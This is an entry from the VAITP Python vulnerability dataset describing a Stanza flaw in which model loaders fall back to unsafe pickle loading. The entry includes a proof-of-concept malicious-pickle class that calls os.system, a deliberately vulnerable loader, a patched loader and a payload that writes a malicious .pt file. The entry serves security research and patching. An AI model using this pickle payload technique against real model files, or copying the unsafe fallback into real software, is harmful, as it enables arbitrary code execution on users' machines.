CVE-2026-54499
Stanza: Unsafe model deserialization can lead to arbitrary code execution.
- CVSS 7.5
- CWE-502
- Input Validation and Sanitization
- Local
Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. Prior to 1.12.2, Stanza model loaders such as stanza.models.common.pretrain.Pretrain.load() attempt torch.load(…, weights_only=True) but fall back to torch.load(…, weights_only=False) on attacker-controllable pickle.UnpicklingError, allowing a malicious .pt pretrain or model file to execute arbitrary pickle code when a Stanza NLP pipeline loads it. This issue is fixed in version 1.12.2.
- CWE
- CWE-502
- CVSS base score
- 7.5
- Published
- 2026-07-08
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- Stanza
- Fixed by upgrading
- Yes
Solution
Upgrade Stanza to version 1.12.2 or later.
Vulnerable code sample
import torch
import pickle
import os
import io
# This class defines a malicious payload.
# When an object of this class is unpickled, its __reduce__ method is called,
# which allows for the execution of arbitrary functions.
# Here, it's set up to run the 'id' command on a Unix-like system.
class ArbitraryCodeExecutor:
def __reduce__(self):
# The tuple returned by __reduce__ is (callable, (args...))
# This will execute os.system('echo "--- Arbitrary code executed ---"')
command = 'echo "--- Arbitrary code executed by malicious pickle ---"'
return (os.system, (command,))
def create_malicious_model_file(filename):
"""Creates a file that will fail safe loading but succeed with unsafe loading."""
payload = ArbitraryCodeExecutor()
with open(filename, 'wb') as f:
# pickle.dump will serialize the object, including its __reduce__ method.
pickle.dump(payload, f)
print(f"Malicious file '{filename}' created.")
def vulnerable_load_function(filepath):
"""
This function simulates the vulnerable loading logic from Stanza prior to v1.12.2.
It first tries the safe `weights_only=True`, and on a specific failure,
it falls back to the unsafe `weights_only=False`.
"""
print("\nAttempting to load model...")
try:
# The safe way: only allows tensors, storages, and basic types.
# This will raise an error because our file contains a custom class.
print("-> Trying torch.load(..., weights_only=True) [SAFE]")
torch.load(filepath, weights_only=True)
print("Model loaded successfully in safe mode.")
except pickle.UnpicklingError:
# The vulnerable fallback: if the safe way fails, use the unsafe one.
# This allows unpickling of arbitrary objects and code execution.
print("-> Safe loading failed. Falling back to torch.load(..., weights_only=False) [UNSAFE]")
# The malicious code inside the pickle is executed here.
torch.load(filepath, weights_only=False)
print("-> Model loaded in unsafe mode.")
except Exception as e:
# Catching other potential errors for clarity. In some torch versions,
# the error might not be exactly pickle.UnpicklingError.
print(f"-> An unexpected error occurred during safe loading: {type(e).__name__}")
print("-> Falling back to torch.load(..., weights_only=False) [UNSAFE]")
torch.load(filepath, weights_only=False)
print("-> Model loaded in unsafe mode.")
if __name__ == "__main__":
MALICIOUS_FILE = "malicious.pt"
# 1. Create the malicious file that will exploit the vulnerability.
create_malicious_model_file(MALICIOUS_FILE)
# 2. Run the vulnerable function, which will load the malicious file.
vulnerable_load_function(MALICIOUS_FILE)
# 3. Clean up the created file.
os.remove(MALICIOUS_FILE)
print(f"\nCleaned up '{MALICIOUS_FILE}'.")Patched code sample
import torch
import pickle
def fixed_model_loader(filename, device):
"""
Demonstrates the fixed model loading logic from Stanza 1.12.2.
The CVE describes a vulnerability where a fallback to unsafe
`torch.load` occurs after a specific error. This function shows
how that fallback is prevented.
"""
try:
# First, attempt the safe loading method which only allows tensors.
# This will fail with a pickle.UnpicklingError if the file contains
# pickled Python objects instead of just tensors.
model_data = torch.load(filename, map_location=device, weights_only=True)
except pickle.UnpicklingError:
# This is the crucial part of the fix.
# A malicious file can be crafted to fail the safe load and trigger this
# specific error. The vulnerable version would then fall back to an
# unsafe load. The fixed version explicitly catches this error and
# raises a new exception, refusing to perform the unsafe operation.
raise ValueError(
"Loading a pickled model with weights_only=True failed. "
"Refusing to fall back to unsafe pickle loading. "
"The model file may be malicious or saved with an old version."
)
except (AttributeError, RuntimeError):
# This fallback is for other errors, such as running on an old
# PyTorch version that does not support the 'weights_only' argument.
# It is distinct from the pickle.UnpicklingError case.
model_data = torch.load(filename, map_location=device)
return model_dataPayload
import torch
import os
import pickle
class ArbitraryCodeExecutor:
def __reduce__(self):
command = "touch /tmp/pwned"
return (os.system, (command,))
torch.save(ArbitraryCodeExecutor(), "malicious_pretrain.pt")
Cite this entry
@misc{vaitp:cve202654499,
title = {{Stanza: Unsafe model deserialization can lead to arbitrary code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-54499},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-54499/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
